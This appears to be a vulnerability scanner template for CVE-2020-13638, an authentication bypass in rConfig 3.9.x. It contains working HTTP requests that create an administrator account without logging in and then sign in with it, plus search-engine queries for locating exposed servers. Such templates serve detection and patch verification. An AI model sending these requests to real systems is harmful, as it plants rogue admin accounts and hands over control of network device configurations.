rConfig 3.9 - Authentication Bypass(Admin Login)

id: CVE-2020-13638

info:
  name: rConfig 3.9 - Authentication Bypass(Admin Login)
  author: theamanrawat
  severity: critical
  description: |
    lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.
  impact: |
    Unauthenticated attackers can bypass authentication to create administrator accounts, leading to complete control over the rConfig installation and access to all network device configurations.
  remediation: |
    Upgrade to rConfig version 3.9.7 or later.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13638
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13638
    cwe-id: CWE-269
    epss-score: 0.76853
    epss-percentile: 0.99552
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve,cve2020,rconfig,auth-bypass,intrusive,vkev,vuln
variables:
  username: "{{to_lower(rand_text_alpha(5))}}"
  password: "{{rand_text_alphanumeric(12)}}!"
  email: "{{rand_base(8)}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb

        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="username"

        {{username}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="passconf"

        {{password}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="password"

        {{password}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="email"

        {{email}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="editid"


        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="add"

        add
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="ulevelid"

        9
        --01b28e152ee044338224bf647275f8eb--
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "rConfig - Configuration Management"
          - "Logged in as"
          - "dashboadFieldSet"
        condition: and

      - type: word
        part: header_3
        words:
          - 'text/html'

      - type: status
        status:
          - 200